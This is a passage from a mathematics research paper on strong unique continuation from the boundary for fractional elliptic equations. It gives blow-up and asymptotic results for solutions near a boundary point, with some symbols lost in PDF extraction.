+t1−2s �A(λnk·)∇V λnk · ∇φ dz
+(101)
+=
+�
+B+
+1
+t1−2s( �A(λnk·) − IdN+1)∇V λnk · ∇φ dz +
+�
+B+
+1
+t1−2s∇V λnk · ∇φ dz.
+Therefore, in view of (48), Proposition 5.1 and (99), we conclude that
+(102)
+lim
+k→+∞
+�
+B+
+1
+t1−2s �A(λnk·)∇V λnk · ∇φ dz =
+�
+B+
+1
+t1−2s∇V · ∇φ dz.
+As for the right hand side in (100), we have that
+����λ2s
+nk
+�
+B′
+1
+�h(λnk·) Tr(V λnk ) Tr(φ) dy
+����
+(103)
+≤ λ2s
+nkη˜h(λnk ·)(1)
+��
+B+
+1
+t1−2s|∇φ|2 dy
+�1
+2��
+B+
+1
+t1−2s|∇V λnk |2 dz + N − 2s
+2
+�
+S+ θ1−2s
+N+1|V λnk |2 dS
+�1
+2
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+19
+thanks to H¨older’s inequality and (30). By (31) and the change of variable x �→ λnkx, we obtain
+that
+λ2s
+nkη˜h(λnk·)(1) = SN,sω
+4s2ε
+N(N+2sε)
+N
+λ2s
+nk∥�h(λnk·)∥L
+N
+2s +ε(B′
+1)
+(104)
+= SN,sω
+4s2ε
+N(N+2sε)
+N
+∥�h∥L
+N
+2s +ε(B′
+λnk )λ
+4s2ε
+N+2sε
+nk
+.
+Putting together (103) and (104), thanks to Proposition 5.1, (96), and (52) we infer that
+(105)
+lim
+k→+∞ λ2s
+nk
+�
+B′
+1
+�h(λnk·) Tr(V λnk ) Tr(φ) dy = 0.
+Passing to the limit as k → +∞ in (100) we conclude that V weakly solves the following problem:
+(106)
+�
+div(t1−2s∇V ) = 0,
+in B+
+1 ,
+limt→0+ t1−2s ∂V
+∂t = 0,
+on B′
+1.
+In particular V is smooth on B+
+1 and V ̸≡ 0 since, by (53), (99) and the compactness of the trace
+operator in (28), (96) leads to
+(107)
+�
+S+ θ1−2s
+N+1V 2 dS = 1.
+Now we aim to show that, along a further subsequence,
+(108)
+V λnk → V
+strongly in H1(B+
+1 , t1−2s) as k → +∞.
+To this purpose, we first notice that a change of variables in (65) yields
+(109)
+�
+B+
+1
+t1−2s �A(λnk·)∇V λnk · ∇φ dz −
+�
+S+ θ1−2s
+N+1 �A(λnk·)∇V λnk · z φ dS
+= κs,Nλ2s
+nk
+�
+B′
+1
+�h(λnk·) Tr(V λnk ) Tr(φ) dy
+for any φ ∈ H1(B+
+1 , t1−2s) and k sufficiently large.
+From Proposition 5.1 and the regularity result contained in [12, Theorem 2.1] and recalled in
+Remark 3.5, it follows that, for k sufficiently large, {∇xV λnk } and
+�
+t1−2s ∂V λnk
+∂t
+�
+are bounded uni-
+formly with respect to k in the spaces H1(B+
+1 , t1−2s) and H1(B+
+1 , t2s−1) respectively. Then, by the
+continuity of the trace operator Tr1 from H1(B+
+1 , t1−2s) to L2(S+, θ1−2s
+N+1 ) and from H1(B+
+1 , t2s−1)
+to L2(S+, θ2s−1
+N+1), we have that {Tr1(∇xV λnk )} is bounded in
+�
+L2(S+, θ1−2s
+N+1 )
+�N and
+�
+t1−2s ∂V λnk
+∂t
+�
+is bounded in L2(S+, θ2s−1
+N+1). Therefore
+�
+S+ θ1−2s
+N+1 |∇V λnk |2 dS =
+�
+S+ θ1−2s
+N+1 |∇xV λnk |2 dS +
+�
+S+ θ2s−1
+N+1
+����θ1−2s
+N+1
+∂V λnk
+∂t
+����
+2
+dS
+is bounded uniformly with respect to k. Taking into account (48), it follows that there exists
+f ∈ L2(S+, θ1−2s
+N+1 ) such that, up to a further subsequence,
+(110)
+�A(λnk·)∇V λnk · z ⇀ f
+weakly in L2(S+, θ1−2s
+N+1 ) as k → +∞.
+Thus by (102) and after proving (105) when φ ∈ H1(B+
+1 , t1−2s) with the same argument (i.e.
+combining (30) with (104)), passing to the limit as k → +∞ in (109) we obtain that
+(111)
+�
+B+
+1
+t1−2s∇V · ∇φ dz =
+�
+S+ θ1−2s
+N+1 fφ dS
+for any φ ∈ H1(B+
+1 , t1−2s). Furthermore, by (110), combined with (99) and compactness of the
+trace operator in (28), we have that
+(112)
+lim
+k→+∞
+�
+S+ t1−2s �A(λnk·)∇V λnk · z V λnk dS =
+�
+S+ t1−2sfV dS.
+
+20
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+Hence, testing (109) with V λnk itself, taking into account (112), using (105) with φ = V λnk , and
+passing to the limit as k → +∞, we deduce that
+lim
+k→+∞
+�
+B+
+1
+t1−2s �A(λnk·)∇V λnk · ∇V λnk dz =
+�
+S+ t1−2sfV dS,
+which, by (111) tested with V , implies that
+(113)
+lim
+k→+∞
+�
+B+
+1
+t1−2sA(λnk·)∇V λnk · ∇V λnk dz =
+�
+B+
+1
+t1−2s|∇V |2dz.
+Writing the left hand side in (113) as in (101), by (48) and Proposition 5.1 we infer that
+lim
+k→+∞
+�
+B+
+1
+t1−2s|∇V λnk |2 dz =
+�
+B+
+1
+t1−2s|∇V |2dz.
+This convergence, together with (99), allows us to conclude that ∇V λnk → ∇V in L2(B+
+1 , t1−2s).
+In conclusion, combining this with the compactness of the trace operator given in (28), (108) easily
+follows from Remark 2.6.
+For any r ∈ (0, 1] and k ∈ N we define
+Hk(r) :=
+1
+rN+1−2s
+�
+S+
+r
+t1−2sµ(λnk·)|V λnk |2 dS,
+Dk(r) :=
+1
+rN−2s
+��
+B+
+r
+t1−2s �A(λnk·)∇V λnk ·∇V λnk dz − ks,Nλ2s
+nk
+�
+B′r
+�h(λnk·)| Tr(V λnk )|2 dy
+�
+,
+and
+HV (r) :=
+1
+rN+1−2s
+�
+S+
+r
+t1−2sV 2 dS,
+DV (r) :=
+1
+rN−2s
+�
+B+
+r
+t1−2s|∇V |2 dz.
+By Proposition 4.2 in the case �h = 0, �A = IdN+1 and µ = 1, it is clear that HV (r) > 0 for any
+r ∈ (0, 1]. Thus the frequency function
+NV (r) := DV (r)
+HV (r)
+r ∈ (0, 1]
+is well defined. Furthermore by (87), (108), a change of variables, and a combination of (30) and
+(104), we have that
+(114)
+γ =
+lim
+k→+∞ N(λnkr) =
+lim
+k→+∞
+Dk(r)
+Hk(r) = NV (r)
+for any r ∈ (0, 1]
+and hence N ′
+V (r) = 0 for a.e.
+r ∈ (0, 1].
+Arguing as in Proposition 4.6 in the case �h = 0,
+�A = IdN+1 and µ = 1, we can prove that
+N ′
+V (r) = 2r
+��
+S+
+r t1−2sV 2 dS
+� ��
+S+
+r t1−2s|∇V · ν|2 dS
+�
+−
+��
+S+
+r t1−2sV (∇V · ν) dS
+�2
+��
+S+
+r t1−2sV 2 dS
+�2
+.
+Therefore we conclude that
+��
+S+
+r
+t1−2sV 2 dS
+� ��
+S+
+r
+t1−2s|∇V · ν|2 dS
+�
+=
+��
+S+
+r
+t1−2sV (∇V · ν) dS
+�2
+a.e. r ∈ (0, 1)
+where ν =
+z
+|z|, i.e. equality holds in the Cauchy-Schwartz inequality for the vectors V and ∇V · ν
+in L2(S+
+r , t1−2s) for a.e. r ∈ (0, 1). It follows that there exists a function ρ(r) defined a.e. such
+that, writing V in polar coordinates,
+(115)
+∂V
+∂r (rθ) = ρ(r)V (rθ)
+for a.e. r ∈ (0, 1) and for any θ ∈ S+.
+By (115) we have that
+(116)
+�
+S+
+r
+t1−2sV (∇V · ν) dS = ρ(r)
+�
+S+
+r
+t1−2sV 2 dS.
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+21
+In the case �h = 0, A = IdN+1 and µ = 1, (70) boils down to H′
+V =
+2
+rN+1−2s
+�
+S+
+r t1−2sV ∂V
+∂ν dS,
+since the perturbative term involves ∇µ, which now trivially equals 0. From this and (116) we
+deduce that ρ(r) =
+H′
+V (r)
+2HV (r). At this point, we exploit (72) which, in the case �h = 0, A = IdN+1
+and µ = 1, becomes H′
+V (r) = 2
+rDV (r) and thus implies
+ρ(r) = 1
+r NV (r) = γ
+r ,
+where we used also (114). Then an integration over (r, 1) of (115) for any fixed θ ∈ S+ yields
+(117)
+V (rθ) = rγV (θ) = rγΨ(θ)
+for any (r, θ) ∈ (0, 1] × S+,
+where Ψ := V |S+. In view of [11, Lemma 2.1], (106) becomes
+γ(N − 2s + γ)r−1−2s+γθ1−2s
+N+1 Ψ(θ) + r−1−2s+γ divS+(θ1−2s
+N+1 ∇S+Ψ(θ)) = 0
+for any (r, θ) ∈ (0, 1]× S+, together with the boundary condition limθN+1→0+ θ1−2s
+N+1 ∇SΨ ·ν = 0 on
+S′. Since V λ is odd with respect to yN for any λ ∈ (0, r0] by (94) and (59), then also V is odd with
+respect to yN, so that Ψ ∈ H1
+odd(S+, θ1−2s
+N+1 ). By (117) and (107) we have that ∥Ψ∥L2(S+,θ1−2s
+N+1 ) = 1,
+so that Ψ ̸≡ 0 is an eigenfunction of problem (19) associated to the eigenvalue γ(γ + N − 2s).
+From (22) it follows that there exists m0 ∈ N \ {0} (which is odd in the case N = 1) such that
+γ(γ + N − 2s) = m0(m0 + N − 2s). Therefore, since γ ≥ 0 by Proposition 4.8, we conclude that
+γ = m0 thus proving (97). Moreover (98) follows from (108) and (117).
+□
+In Proposition 4.10 we have shown that there exists the limit limλ→0+ λ−2γH(λ) and it is
+non-negative. Now we prove that limλ→0+ λ−2γH(λ) > 0.
+To this end we define, for every λ ∈ (0, r0], m ∈ N \ {0}, k ∈ {1, . . . , Mm},
+(118)
+ϕm,k(λ) :=
+�
+S+ θ1−2s
+N+1 W(λθ)Ym,k(θ) dS,
+i.e.
+{ϕm,k(λ)}m,k are the Fourier coefficients of W(λ·) with respect to the orthonormal basis
+{Ym,k}m,k introduced in (25). For every λ ∈ (0, r0], m ∈ N \ {0}, k ∈ {1, . . ., Mm}, we also define
+Υm,k(λ) := −
+�
+B+
+λ
+t1−2s( �A − IdN+1)∇W · 1
+|z|∇SYm,k
+� z
+|z|
+�
+dz
+(119)
++
+�
+S+
+λ
+t1−2s( �A − IdN+1)∇W · z
+|z|Ym,k
+� z
+|z|
+�
+dS
++ κN,s
+�
+B′
+λ
+�h(y) Tr(W) Tr
+�
+Ym,k
+� y
+|y|
+��
+dy,
+where IdN+1 is the identity (N + 1) × (N + 1) matrix.
+Proposition 5.3. Let γ be as in (87) and let m0 ∈ N \ {0} be such that γ = m0 according to
+Proposition 5.2. For every k ∈ {1, . . . , Mm0} and r ∈ (0, r0]
+(120)
+ϕm0,k(λ) = λm0
+�ϕm0,k(r)
+rm0
++ m0r−2m0−N+2s
+2m0 + N − 2s
+� r
+0
+ρm0−1Υm0,k(ρ) dρ
+�
++ λm0 m0 + N − 2s
+2m0 + N − 2s
+� r
+λ
+ρ−m0−N−1+2sΥm0,k(ρ) dρ + O
+�
+λm0+
+4s2ε
+N+2sε
+�
+as λ → 0+.
+Proof. Let k ∈ {1, . . ., Mm0} and φ ∈ D(0, r0). Testing (63) with |z|−N−1+2sφ(|z|)Ym0,k
+� z
+|z|
+�
+,
+since Ym0,k solves (21), we obtain that ϕm0,k satisfies
+(121)
+−ϕ′′
+m0,k − N + 1 − 2s
+λ
+ϕ′
+m0,k + µm0
+λ2 ϕm0,k = ζm0,k
+
+22
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+in the sense of distributions in (0, r0), where
+D′(0,r0)⟨ζm0,k, φ⟩D(0,r0) := κN,s
+� r0
+0
+φ(λ)
+λ2−2s
+��
+S′
+�h(λθ′) Tr(W(λ·))(θ′)Ym0,k(θ′, 0) dS′
+�
+dλ
+−
+� r0
+0
+��
+S+
+λ
+t1−2s(A − IdN+1)∇W · ∇(|z|−N−1+2sφ(|z|)Ym0,k
+� z
+|z|
+�
+) dS
+�
+dλ.
+Furthermore, it is easy to verify that Υm0,k ∈ L1(0, r0) and
+Υ′
+m0,k(λ) = λN+1−2sζm0,k(λ)
+in the sense of distributions in (0, r0). Then equation (121) can be rewritten as follows
+(122)
+−(λ2m0+N+1−2s(λ−m0ϕm0,k(λ))′)′ = λm0Υ′
+m0,k(λ)
+in the sense of distributions in (0, r0). Integrating (122) over (λ, r) for any r ∈ (0, r0], we obtain
+that there exists a constant cm0,k(r) ∈ R which depends only on m0, k, r, such that
+(λ−m0ϕm0,k(λ))′ = −λ−m0−N−1+2sΥm0,k(λ)
+− m0λ−2m0−N−1+2s
+�
+cm0,k(r) +
+� r
+λ
+ρm0−1Υm0,k(ρ) dρ
+�
+in the sense of distributions in (0, r0). In particular we deduce that ϕm0,k ∈ W 1,1
+loc ((0, r0]) and a
+further integration over (λ, r) gives
+ϕm0,k(λ) =λm0
+�ϕm0,k(r)
+rm0
+−
+m0cm0,k(r)
+(2m0 + N − 2s)r2m0+N−2s
+�
+(123)
++ λm0 m0 + N − 2s
+2m0 + N − 2s
+� r
+λ
+ρ−m0−N−1+2sΥm0,k(ρ) dρ
++ m0λ−m0−N+2s
+2m0 + N − 2s
+�
+cm0,k(r) +
+� r
+λ
+ρm0−1Υm0,k(ρ) dρ
+�
+for every λ, r ∈ (0, r0]. Now we claim that
+(124)
+� r0
+0
+ρ−m0−N−1+2s|Υm0,k(ρ)| dρ < +∞.
+By the H¨older inequality, a change of variables, (48), (94), Proposition 5.1, and (89) we have that
+λ−m0−N−1+2s
+�����
+�
+B+
+λ
+t1−2s( �A − IdN+1)∇W · 1
+|z|∇SYm0,k
+� z
+|z|
+�
+dz
+�����
+(125)
+≤ λ−m0−N−1+2s
+��
+B+
+λ
+t1−2s|( �A − IdN+1)∇W|2 dz
+�1
+2��
+B+
+λ
+t1−2s
+|z|2
+���∇SYm0,k
+� z
+|z|
+����
+2
+dz
+�1
+2
+≤ λ−m0−1O(λ)
+�
+H(λ)
+��
+B+
+1
+t1−2s|∇V λ|2 dz
+�1
+2��
+B+
+1
+t1−2s
+|z|2
+���∇SYm0,k
+� z
+|z|
+����
+2
+dz
+�1
+2
+≤ const λ−m0�
+H(λ) ≤ const,
+where we used the fact that
+�
+B+
+1
+t1−2s
+|z|2
+���∇SYm0,k
+� z
+|z|
+����
+2
+dz =
+� 1
+0
+ρN−1−2s
+��
+S+ θ1−2s
+N+1 |∇SYm0,k(θ)|2 dS
+�
+dρ
+= m2
+0 + m0(N − 2s)
+N − 2s
+.
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+23
+Dealing with the second term of (119), from an integration by parts, the H¨older inequality, (48)
+(94), Proposition 5.1, and (89) it follows that, for every r ∈ (0, r0],
+� r
+0
+λ−m0−N−1+2s
+�����
+�
+S+
+λ
+t1−2s( �A − IdN+1)∇W · z
+|z|Ym0,k
+� z
+|z|
+�
+dS
+����� dλ
+(126)
+≤ const
+� r
+0
+λ−m0−N+2s
+��
+S+
+λ
+t1−2s|∇W|
+���Ym0,k
+� z
+|z|
+���� dS
+�
+dλ
+= const
+�
+r−m0−N+2s
+�
+B+
+r
+t1−2s|∇W|
+���Ym0,k
+� z
+|z|
+���� dz
++ (m0 + N − 2s)
+� r
+0
+λ−m0−N−1+2s
+� �
+B+
+λ
+t1−2s|∇W|
+���Ym0,k
+� z
+|z|
+���� dz
+�
+dλ
+�
+≤ const
+�
+r−m0+1�
+H(r) +
+� r
+0
+λ−m0√
+H(λ) dλ
+�
+≤ const r,
+taking into account that
+�
+B+
+λ
+t1−2s ���Ym0,k
+� z
+|z|
+����
+2
+dz =
+λN+2−2s
+N + 2 − 2s.
+By the H¨older inequality the third term in (119) can be estimated as
+λ−m0−N−1+2s
+�����
+�
+B′
+λ
+�h(y) Tr(W) Tr
+�
+Ym0,k
+� y
+|y|
+��
+dy
+�����
+(127)
+≤ λ−m0−N−1+2s
+��
+B′
+λ
+|�h(y)|| Tr(W)|2 dy
+�1
+2 ��
+B′
+λ
+|˜h(y)|
+���Tr
+�
+Ym0,k
+� y
+|y|
+�����
+2
+dy
+�1
+2
+≤ λ−m0−N−1+2sη|˜h|(λ)
+��
+B+
+λ
+t1−2s|∇W|2 dz + N − 2s
+2λ
+�
+S+
+λ
+t1−2sW 2 dS
+�1
+2
+×
+×
+��
+B+
+λ
+t1−2s ���∇Ym0,k
+� z
+|z|
+����
+2
+dz + N − 2s
+2λ
+�
+S+
+λ
+t1−2s ���Ym0,k
+� z
+|z|
+����
+2
+dS
+�1
+2
+≤ λ−m0−1η|˜h|(λ)
+�
+H(λ)
+��
+B+
+1
+t1−2s|∇V λ|2dz + (N − 2s)
+�
+S+θ1−2s
+N+1 µ(λθ)|V λ|2 dS
+�1
+2
+×
+×
+�
+λ2
+�
+B+
+1
+t1−2s ���∇Ym0,k
+� z
+|z|
+����
+2
+dz + N − 2s
+2
+�
+S+ θ1−2s
+N+1 |Ym0,k(θ)|2 dS
+�1
+2
+≤ const λ−m0−1η|˜h|(λ)
+�
+H(λ) ≤ const λ−1+
+4s2ε
+N+2sε ,
+in view of (30), (31), (52), (89), (94), (96) and Proposition 5.1. Collecting estimates (125), (126)
+and (127) we deduce that, for every r ∈ (0, r0],
+(128)
+� r
+0
+ρ−m0−N−1+2s|Υm0,k(ρ)| dρ ≤ const
+�
+r +
+� r
+0
+ρ−1+
+4s2ε
+N+2sε dρ
+�
+≤ const r
+4s2ε
+N+2sε ,
+thus proving (124). Moreover we have that
+(129)
+� r0
+0
+ρm0−1|Υm0,k(ρ)| dρ < +∞,
+as a consequence of (124), since in a neighbourhood of 0, ρm0−1 ≤ ρ−m0−N−1+2s.
+Now we claim that, for every r ∈ (0, r0],
+(130)
+cm0,k(r) +
+� r
+0
+ρm0−1Υm0,k(ρ) dρ = 0
+
+24
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+To prove (130) we argue by contradiction. If there exists r ∈ (0, r0] such that (130) does not hold
+true, then by (123), (124) and (129)
+ϕm0,k(λ) ∼ m0λ−m0−N+2s
+2m0 + N − 2s
+�
+cm0,k(r) +
+� r
+0
+ρm0−1Υm0,k(ρ) dρ
+�
+as λ → 0+.
+From this, it follows that
+(131)
+� r0
+0
+λN−1−2s|ϕm0,k(λ)|2dλ = +∞,
+since N − 2s + 2m0 > 0. On the other hand, from (118), the Parseval identity and (32) we deduce
+the following estimate
+� r0
+0
+λN−1−2s|ϕm0,k(λ)|2 dλ ≤
+� r0
+0
+λN−1−2s
+��
+S+ θ1−2s
+N+1|W(λθ)|2 dS
+�
+dλ
+=
+� r0
+0
+λ−2
+��
+S+
+λ
+t1−2s|W|2 dS
+�
+dλ =
+�
+B+
+r0
+t1−2s |W(z)|2
+|z|2
+dz < +∞,
+which contradicts (131). Hence (130) is proved. From (130) and (128) it follows that, for every
+r ∈ (0, r0],
+(132)
+λ−m0−N+2s
+����cm0,k(r) +
+� r
+λ
+ρm0−1Υm0,k(ρ) dρ
+���� = λ−m0−N+2s
+�����
+� λ
+0
+ρm0−1Υm0,k(ρ) dρ
+�����
+≤ λ−m0−N+2s
+�
+λ2m0+N−2s
+� λ
+0
+ρ−m0−N−1+2s|Υm0,k(ρ)| dρ
+�
+≤ const λm0+
+4s2ε
+N+2sε .
+We finally deduce (120) combining (123), (130) and (132).
+□
+Proposition 5.4. Let γ be as in (87). Then
+(133)
+lim
+λ→0+ λ−2γH(λ) > 0.
+Proof. By (53), the Parseval identity and (118) we have that
+(134)
+H(λ) =
+�
+S+ θ1−2s
+N+1 µ(λθ)|W(λθ)|2 dS = (1 + O(λ))
+∞
+�
+m=1
+Mm
+�
+k=1
+|ϕm,k(λ)|2.
+Let m0 ∈ N \ {0} be such that γ = m0 according to Proposition 5.2. We argue by contradiction
+and assume that 0 = limλ→0+ λ−2γH(λ) = limλ→0+ λ−2m0H(λ).
+In view of (134) this would
+imply that
+lim
+λ→0+ λ−m0ϕm0,k(λ) = 0
+for every k ∈ {1, . . . , Mm0}.
+Therefore, from (120) it follows that, for all k ∈ {1, . . ., Mm0} and r ∈ (0, r0],
+ϕm0,k(r)
+rm0
++ m0r−2m0−N+2s
+2m0 + N − 2s
+� r
+0
+ρm0−1Υm0,k(ρ) dρ
++ m0 + N − 2s
+2m0 + N − 2s
+� r
+0
+ρ−m0−N−1+2sΥm0,k(ρ) dρ = 0,
+so that, substituting into (120), we obtain that
+ϕm0,k(λ) = − m0 + N − 2s
+2m0 + N − 2sλm0
+� λ
+0
+ρ−m0−N−1+2sΥm0,k(ρ) dρ + O
+�
+λm0+
+4s2ε
+N+2sε
+�
+as λ → 0+. Hence, from (128) we infer that
+(135)
+ϕm0,k(λ) = O
+�
+λm0+
+4s2ε
+N+2sε
+�
+as λ → 0+
+for all k ∈ {1, . . ., Mm0}.
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+25
+Moreover, estimate (91) with σ =
+2s2ε
+N+2sε implies that
+(136)
+1
+�
+H(λ)
+= O
+�
+λ−m0−
+2s2ε
+N+2sε
+�
+as λ → 0+.
+Since
+ϕm0,k(λ) =
+�
+H(λ)
+�
+S+ θ1−2s
+N+1 V λ(θ)Ym0,k(θ) dS
+for all k ∈ {1, . . ., Mm0}
+by (118) and (94), from (135) and (136) we deduce that
+(137)
+�
+S+ θ1−2s
+N+1 V λ(θ)Ψ(θ) dS = O
+�
+λ
+2s2ε
+N+2sε
+�
+as λ → 0+,
+for every Ψ ∈ Span{Ym0,k : k ∈ {1, . . .Mm0}}. By (24), (25), (28) and Proposition 5.2, for any
+sequence λn → 0+, there exist a subsequence λnh → 0+ and Ψ ∈ Span{Ym0,k : k ∈ {1, . . . Mm0}}
+such that ∥Ψ∥L2(S+,θ1−2s
+N+1 ) = 1 and
+lim
+h→+∞
+�
+S+ θ1−2s
+N+1 V λnh (θ)Ψ(θ) dS =
+�
+S+ θ1−2s
+N+1 |Ψ|2 dS = 1,
+thus contradicting (137).
+□
+Theorem 5.5. Let W be a non trivial weak solution to (62). Let γ be as in (87) and m0 ∈ N\{0}
+be such that γ = m0, according to Proposition 5.2. Let {Ym0,k}k∈{1,...,Mm0 } be as in (25), with
+Vm0 and Mm0 defined as in (23) and (24) respectively. Then
+λ−m0W(λz) → |z|m0
+Mm0
+�
+k=1
+βkYm0,k
+� z
+|z|
+�
+as λ → 0+
+strongly in H1(B+
+1 , t1−2s),
+where (β1, . . . , βMm0) ̸= (0, . . . , 0) and, for every k ∈ {1, . . . , Mm0},
+(138)
+βk = ϕm0,k(r)
+rm0
++ m0r−2m0−N+2s
+(2m0 + N − 2s)
+� r
+0
+ρm0−1Υm0,k(ρ) dρ
++ m0 + N − 2s
+2m0 + N − 2s
+� r
+0
+ρ−m0−N−1+2sΥm0,k(ρ) dρ,
+for all r ∈ (0, r0], where ϕm0,k is defined in (118) and Υm0,k in (119) .
+Proof. From Proposition 5.2, (25), and (133) it follows that, for any sequence {λn} such that
+λn → 0+ as n → ∞, there exist a subsequence {λnh} and real numbers β1, . . . , βMm0 such that
+(β1, . . . , βMm0 ) ̸= (0, . . . , 0) and
+(139)
+λ−m0
+nh
+W(λnhz) → |z|m0
+Mm0
+�
+k=1
+βkYm0,k
+� z
+|z|
+�
+as h → +∞
+strongly in H1(B+
+1 , t1−2s).
+We claim that the numbers β1, . . . βMm0 depend neither on the sequence {λn} nor on its subse-
+quence {λnh}. Letting ϕm0,k be as (118), for every k ∈ {1, . . ., Mm0}
+(140)
+lim
+h→+∞ λ−m0
+nh
+ϕm0,k(λnh) =
+lim
+h→+∞
+�
+S+ θ1−2s
+N+1 λ−m0
+nh
+W(λnhθ)Ym0,k(θ) dS = βk,
+thanks to (139) and the compactness of the trace operator in (28). Combining (140) and (120)
+we obtain that, for every r ∈ (0, r0], βk = limh→+∞ λ−m0
+nh
+ϕm0,k(λnh) is equal to the right hand
+side in (138), thus proving the claim. By Urysohn’s subsequence principle we conclude that the
+convergence in (139) holds as λ → 0+, hence the proof is complete.
+□
+
+26
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+6. Proofs of the main results
+The proof of Theorem 1.3 is obtained as a consequence of the following result.
+Theorem 6.1. Let N > 2s and Ω ⊂ RN be a bounded Lipschitz domain such that 0 ∈ ∂Ω and
+(10)–(12) are satisfied with x0 = 0 for some function g and R > 0. Let U be a non trivial solution
+to (17) in the sense of (18), with h satisfying (7), and let
+(141)
+�U(z) =
+�
+U(z),
+if z ∈ CΩ ∩ F(B+
+r0),
+0,
+if z ∈ F(B+
+r0) \ CΩ,
+with F and r0 being as in Proposition 3.1. Then there exist m0 ∈ N \ {0} (which is odd in the
+case N = 1) such that
+(142)
+λ−m0 �U(λz)
+→
+|z|m0
+Mm0
+�
+k=1
+βk �Ym0,k
+� z
+|z|
+�
+as λ
+→
+0+
+strongly in H1(B+
+1 , t1−2s),
+where Mm0 is as in (24),
+(143)
+�Ym0,k(θ′, θN, θN+1) =
+�
+Ym0,k(θ′, θN, θN+1),
+if θN < 0,
+0,
+if θN ≥ 0,
+with {Ym0,k}k∈{1,...,Mm0} being as in (25), and the coefficients βk satisfy (138).
+Proof. If U is a non trivial solution of (17), then the function W defined in (38) and (59) belongs
+to H1(B+
+r0, t1−2s) and is a non trivial weak solution to (62). Letting
+�
+W(z) =
+�
+W(z),
+if z ∈ Qr0,
+0,
+if z ∈ B+
+r0 \ Qr0,
+where Qr0 is defined in (37), by Remark 3.4 we have that �
+W ∈ H1(B+
+r0, t1−2s). Moreover Theorem
+5.5 implies that
+λ−m0�
+W(λz) → �Φ(z)
+strongly in H1(B+
+1 , t1−2s)
+as λ → 0+,
+where
+�Φ(z) = |z|m0
+Mm0
+�
+k=1
+βk �Ym0,k
+� z
+|z|
+�
+with βk as in (138). Hence, by homogeneity,
+(144)
+λ−m0�
+W(λz) → �Φ(z)
+strongly in H1(B+
+r , t1−2s)
+as λ → 0+
+for all r > 1.
+We note that
+(145)
+λ−m0 �U(λz) = λ−m0 �
+W(λGλ(z))
+and
+∇
+� �U(λ·)
+λm0
+�
+= ∇
+� �
+W(λ·)
+λm0
+�
+(Gλ(z))JGλ(z)
+where
+Gλ(z) := 1
+λF −1(λz)
+for any λ ∈ (0, 1] and z ∈ 1
+λF(Br+
+0 ).
+From Proposition 3.1 we deduce that
+Gλ(z) = z + O(λ)
+and
+JGλ(z) = IdN+1 +O(λ)
+as λ → 0+
+uniformly respect to z ∈ B+
+1 . It follows that, if fλ → f in L2(B+
+r , t1−2s) as λ → 0+ for some
+r > 1, then fλ ◦ Gλ → f in L2(B+
+1 , t1−2s) as λ → 0+. Then we conclude in view of (144) and
+(145).
+□
+Proof of Theorem 1.3 . It follows directly from Theorem 6.1 up to a translation.
+□
+Passing to traces in (142) we obtain the following blow-up result for solutions to (1).
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+27
+Theorem 6.2. Let N > 2s and Ω ⊂ RN be a bounded Lipschitz domain such that 0 ∈ ∂Ω and
+(10)–(12) are satisfied with x0 = 0 for some function g and R > 0. Let u ∈ Hs(Ω) be a non trivial
+solution of (1) in the sense of (8), with h satisfying (7), and let �u(x) = ι(u) with ι defined in (3).
+Then there exists m0 ∈ N \ {0} (which is odd in the case N = 1) such that
+λ−m0�u(λx) → |x|m0
+Mm0
+�
+k=1
+βk �Ym0,k
+� x
+|x|, 0
+�
+as λ → 0+
+strongly in Hs(B′
+1),
+where Mm0 is as in (24), {�Ym0,k}k∈{1,...,Mm0} are defined in (143) and the coefficients βk satisfy
+(138).
+Proof. As observed in [7] and recalled at page 5, if u ∈ Hs(Ω) is a non trivial solution of (1), then
+its extension H(u) = U is non trivial solution to (17). Hence the corresponding function �U defined
+in (141) satisfies (142) by Theorem 6.1. Since �u = Tr(�U), the conclusion follows from Proposition
+2.2.
+□
+Proof of Theorem 1.2. It follows directly from Theorem 6.2 up to a translation.
+□
+Appendix A. Neumann eigenvalues on the half-sphere under a symmetry condition
+In order to determine the eigenvalues of (19), we first need the following preliminary lemma.
+Lemma A.1. Let m, N ∈ N\ {0} and let u ∈ Cm(RN)\ {0} be a positively homogeneous function
+of degree m, i.e.
+(146)
+u(λx) = λmu(x)
+for every λ > 0 and x ∈ RN.
+Then u is a homogeneous polynomial of degree m.
+Proof. Let α = (α1, . . . , αN) ∈ NN be a multindex, |α| := �N
+i=1 αi, and xα = xα1
+1 . . . xαN
+N
+for any
+x = (x1, . . . , xN) ∈ RN. By Taylor’s Theorem with Lagrange remainder centered at 0, for any
+x ∈ RN there exists t ∈ [0, 1] such that
+u(x) =
+�
+|α|<m
+cα
+∂|α|u
+∂xα (0)xα +
+�
+|α|=m
+cα
+∂|α|u
+∂xα (tx)xα,
+where cα > 0 are positive constants depending on α and ∂|α|u
+∂xα stands for
+∂|α|u
+∂xα1
+1 ···∂x
+αN
+N . By (146),
+one can easily prove that ∂|α|u
+∂xα is a positively homogeneous function of degree m − |α| for all α
+with |α| ≤ m. Thus, combining this fact with the continuity of ∂|α|u
+∂xα , it is clear that ∂|α|u
+∂xα (0) = 0
+for every α ∈ NN with |α| < m. On the other hand, for every α ∈ NN with |α| = m, we have
+that ∂|α|u
+∂xα is constant and exactly equal to ∂|α|u
+∂xα (0), being a homogeneous function of degree 0. It
+follows that
+u(x) =
+�
+|α|=m
+cα
+∂|α|u
+∂xα (0)xα
+for every x ∈ RN,
+hence proving the claim.
+□
+Proposition A.2. All the eigenvalues of problem (19) are characterized by formula (22).
+Proof. We start by proving that if µ is an eigenvalue of (19), then µ = m2 + m(N − 2s) for some
+m ∈ N \ {0}. If µ is an eigenvalue, then there exists a non trivial solution Y of (19). A direct
+computation shows that Y is a weak solution to (19) if and only if the function
+U(z) := |z|γY
+� z
+|z|
+�
+,
+z ∈ RN+1
++
+,
+with
+(147)
+γ := −N − 2s
+2
++
+��N − 2s
+2
+�2
++ µ,
+
+28
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+belongs to H1
+loc(RN+1
++
+, t1−2s), is odd with respect to yN and weakly solves
